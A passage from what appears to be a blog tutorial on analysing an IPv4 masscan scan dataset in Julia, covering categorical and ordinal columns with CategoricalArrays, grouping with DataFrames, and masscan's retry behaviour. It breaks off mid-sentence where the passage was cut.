&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Pkg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DataFrames&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Pkg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Parquet&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Pkg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;CategoricalArrays&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Pkg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;StatsBase&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Pkg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Statistics&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Pkg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;StatsPlots&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then we load the dataframe:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Parquet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DataFrames&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CategoricalArrays&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;StatsBase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Statistics&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;StatsPlots&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;read_parquet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;scans&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="categorical-data"&gt;Categorical data&lt;/h3&gt;
&lt;p&gt;&lt;label for='ClRoZSBgY29tcHJlc3M9dHJ1ZWAgaXMgbmVlZGVkIHNvIHRoZSBjb2x1bW4gd2lsbCBiZSBvZiB0aGUgc21hbGxlc3QgdHlwZQp0aGF0IGNhbiByZXByZXNlbnQgdGhlIGNhdGVnb3JpZXMsIGluIG91ciBjYXNlLCBgVUludDhgOyBvdGhlcndpc2UKYENhdGVnb3JpY2FsQXJyYXlzLmpsYCB1c2VzIGBVSW50MzJgIGJ5IGRlZmF1bHQuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBgY29tcHJlc3M9dHJ1ZWAgaXMgbmVlZGVkIHNvIHRoZSBjb2x1bW4gd2lsbCBiZSBvZiB0aGUgc21hbGxlc3QgdHlwZQp0aGF0IGNhbiByZXByZXNlbnQgdGhlIGNhdGVnb3JpZXMsIGluIG91ciBjYXNlLCBgVUludDhgOyBvdGhlcndpc2UKYENhdGVnb3JpY2FsQXJyYXlzLmpsYCB1c2VzIGBVSW50MzJgIGJ5IGRlZmF1bHQuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;compress&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is needed so the column will be of the smallest type that can represent the categories, in our case, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;UInt8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;; otherwise &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CategoricalArrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; uses &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;UInt32&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; by default.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Parquet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does not load the categories (or Pandas’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;to_parquet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not writing them). This consumes more RAM because the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;reason&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; columns are strings.&lt;/p&gt;
&lt;p&gt;We can make them &lt;em&gt;categorical&lt;/em&gt; back again with:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:reason&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;categorical&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:reason&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compress&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="ordinal-data"&gt;Ordinal data&lt;/h3&gt;
&lt;p&gt;We do the same for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; column but we additionally mark the categorical as &lt;em&gt;ordered&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:port&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;categorical&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:port&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compress&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As &lt;a href="/articles/2021/09/10/IPv4-Scan-Dataset-Preprocessing.html"&gt;explained earlier&lt;/a&gt;, the ports &lt;strong&gt;don’t&lt;/strong&gt; have a natural order however I this as an opportunity to explore and document &lt;em&gt;how to work with ordinals&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CategoricalArrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; orders lexicographically by default. To change the order we need to do it later with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;levels!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;First we get ports labels (strings):&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;levels&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then we parse them as integers and sort them numerically:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;UInt16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We get back the ports labels as strings:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally we rewrite the levels of the ordinal column:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;levels!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; column is an ordinal column and the order is implied by the numerical interpretation of its labels.&lt;/p&gt;
&lt;!--
using Parquet, DataFrames, CategoricalArrays, StatsBase, Statistics, StatsPlots
df = DataFrame(read_parquet("indexed"))
df[!, :reason] = categorical(df[:, :reason], compress=true)
df[!, :port] = categorical(df[:, :port], compress=true, ordered=true)
s = levels(df.port)
s = sort(parse.(UInt16, s))
s = string.(s)
levels!(df.port, s)


sudo apt-get install libreadline-gplv2-dev libncursesw5-dev libgdbm-compat-dev
sudo apt-get install libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev
sudo apt-get install libssl-dev liblzma-dev zlib1g-dev lzma lzma-dev libgdbm-dev

make clean
./configure --enable-shared --enable-optimizations
make
make test

ENV["PYTHON"] = "/home/user/env/bin/python"
ENV["PYTHONHOME"] = ""
Pkg.add("PyCall")
Pkg.build("PyCall")
&lt;..restart..&gt;

import Pkg; Pkg.add("PyPlot")

--&gt;
&lt;h2 id="is-the-same-port-opened-due-different-reasons"&gt;Is the same port opened due different reasons?&lt;/h2&gt;
&lt;p&gt;&lt;label for='ClRoZSBgOmZvb2AgYXJlIHN5bWJvbHMgdGhhdCBpbiBvdXIgY2FzZSBhcmUgdGhlIG5hbWVzIG9mIHRoZSBjb2x1bW5zLiBUaGUKYOKImGAgKGBcY2lyY2AgaW4gTGF0ZXgpIGlzIHRoZSAqY29tcG9zaXRlIG9wZXJhdG9yKjogYGxlbmd0aCDiiJggdW5pcXVlYCBpcwplcXVpdmFsZW50IHRvIGBsZW5ndGgodW5pcXVlKHgpKWAuClRoZSB3aG9sZSBgOnJlYXNvbiA9PiBsZW5ndGgg4oiYIHVuaXF1ZSA9PiA6bnVuaXF1ZWAgcmVhZHMgYXM6IHRha2UgdGhlCmByZWFzb25gIGNvbHVtbiwgY291bnQgaG93IG1hbnkgdW5pcXVlIHZhbHVlcyBhcmUgaW4gZWFjaCBncm91cCBhbmQKc3RvcmUgdGhlIHJlc3VsdCAob25lIHBlciBncm91cCkgaW4gdGhlIGNvbHVtbiBgbnVuaXF1ZWAuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBgOmZvb2AgYXJlIHN5bWJvbHMgdGhhdCBpbiBvdXIgY2FzZSBhcmUgdGhlIG5hbWVzIG9mIHRoZSBjb2x1bW5zLiBUaGUKYOKImGAgKGBcY2lyY2AgaW4gTGF0ZXgpIGlzIHRoZSAqY29tcG9zaXRlIG9wZXJhdG9yKjogYGxlbmd0aCDiiJggdW5pcXVlYCBpcwplcXVpdmFsZW50IHRvIGBsZW5ndGgodW5pcXVlKHgpKWAuClRoZSB3aG9sZSBgOnJlYXNvbiA9PiBsZW5ndGgg4oiYIHVuaXF1ZSA9PiA6bnVuaXF1ZWAgcmVhZHMgYXM6IHRha2UgdGhlCmByZWFzb25gIGNvbHVtbiwgY291bnQgaG93IG1hbnkgdW5pcXVlIHZhbHVlcyBhcmUgaW4gZWFjaCBncm91cCBhbmQKc3RvcmUgdGhlIHJlc3VsdCAob25lIHBlciBncm91cCkgaW4gdGhlIGNvbHVtbiBgbnVuaXF1ZWAuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ss"&gt;:foo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are symbols that in our case are the names of the columns. The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;∘&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;circ&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in Latex) is the &lt;em&gt;composite operator&lt;/em&gt;: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;∘&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unique&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is equivalent to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unique&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. The whole &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ss"&gt;:reason&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;∘&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unique&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:nunique&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; reads as: take the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;reason&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; column, count how many unique values are in each group and store the result (one per group) in the column &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;nunique&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:port&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="ss"&gt;:reason&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;∘&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unique&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:nunique&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;countmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nunique&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;Dict&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64787998&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Nope, for each open port there is only one reason why it is open.&lt;/p&gt;
&lt;h2 id="which-is-the-reason-to-scan-the-same-port-more-than-once"&gt;Which is the reason to scan the same port more than once?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;masscan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; supports a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;retries&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; flag. From the &lt;a href="https://github.com/robertdavidgraham/masscan/blob/952755771ab8065c052cdf4b6d18041435b2d661/doc/masscan.8.markdown"&gt;documentation&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;retries&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: the number of retries to send, at 1 second intervals. Note that since this scanner is stateless, retries are sent regardless if replies have already been received.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This means that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;masscan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will send \(N\) probes to each port, always, within a second apart.&lt;/p&gt;
&lt;p&gt;Let’s check that.&lt;/p&gt;
&lt;h2 id="what-is-the-distributions-of-probes-per-open-port"&gt;What is the distributions of probes per open port?&lt;/h2&gt;
&lt;p&gt;&lt;label for='CmBucm93YCBpcyBhIHNwZWNpYWwgdmFsdWUgdGhhdCBgRGF0YUZyYW1lYCdzIGBjb21iaW5lYCB3aWxsCmludGVycHJldCBhcyAqY291bnQgdGhlIHJvd3Mgb2YgZWFjaCBncm91cCouIFRoZSByZXN0IGZvbGxvd3MgdGhlIHVzdWFsCm1lYW5pbmc6IGBucm93ID0+IDpjb3VudGAgbWVhbnMgc3RvcmUgdGhlIGNvdW50IGluIGEgY29sdW1uIG5hbWVkIGBjb3VudGAuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBucm93YCBpcyBhIHNwZWNpYWwgdmFsdWUgdGhhdCBgRGF0YUZyYW1lYCdzIGBjb21iaW5lYCB3aWxsCmludGVycHJldCBhcyAqY291bnQgdGhlIHJvd3Mgb2YgZWFjaCBncm91cCouIFRoZSByZXN0IGZvbGxvd3MgdGhlIHVzdWFsCm1lYW5pbmc6IGBucm93ID0+IDpjb3VudGAgbWVhbnMgc3RvcmUgdGhlIGNvdW50IGluIGEgY29sdW1uIG5hbWVkIGBjb3VudGAuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;nrow&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a special value that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will interpret as &lt;em&gt;count the rows of each group&lt;/em&gt;. The rest follows the usual meaning: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;nrow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:count&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; means store the count in a column named &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span 